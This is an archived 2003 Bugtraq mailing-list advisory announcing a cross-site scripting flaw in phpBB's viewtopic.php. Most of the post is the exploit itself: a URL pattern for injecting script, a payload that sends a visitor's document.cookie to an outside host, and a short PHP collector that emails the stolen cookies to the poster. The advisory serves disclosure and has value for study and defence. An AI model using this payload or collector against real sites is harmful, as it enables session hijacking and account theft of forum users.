bugtraq - XSS Exploit In phpBB viewtopic.php

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 21 Jun 2003 10:07:12 -0000
From: silent needle <silentneedle@...mail.com>
To: bugtraq@...urityfocus.com
Subject: XSS Exploit In phpBB viewtopic.php

XSS Exploit In phpBB viewtopic.php

A: BACKGROUND [from phpbb.com]
phpBB is a high powered, fully scalable, and highly customisable open-
source bulletin board package. phpBB has a user-friendly interface, simple 
and straightforward administration panel, and helpful FAQ. Based on the 
powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL 
or Access/ODBC database servers, phpBB is the ideal free community 
solution for all web sites.

B: DESCRIPTION
The cross site scripting allow you to print a html or javascript or others 
in the webpage
when it just open not write in the page.

C: EXPLOIT
This is the URLs of the exploit:
http://[site]/phpBB/viewtopic.php?topic_id=[script]

And you can steal cookie by changing [script] to
&lt;script&gt;document.location='http://any-web-
site/cookies.php?'+document.cookie&lt;/script&gt;
and in http://any-web-site/cookie.php put
----------------cookie.php-------------------
<?
mail("silentneedle@...mail.com","cookies from phpbb",$http_cookie);
echo $http_cookie; //or you can send with the variable name
?>
-----------------------------------------------

D: GREETZ
To : SP.IC , DR^^FUNNY , ARAB-HAK , ZALABOZA , 7azm , King Of Ray , OH SHE 
IS A LITTLE RUN AWAY[puretone & kelly osbourne] :)
and thanks to the last exploit in phpbb :)

E: CONTACT
Silent Needle
silentneedle@...mail.com

F: OH LONG NIGHT
Bye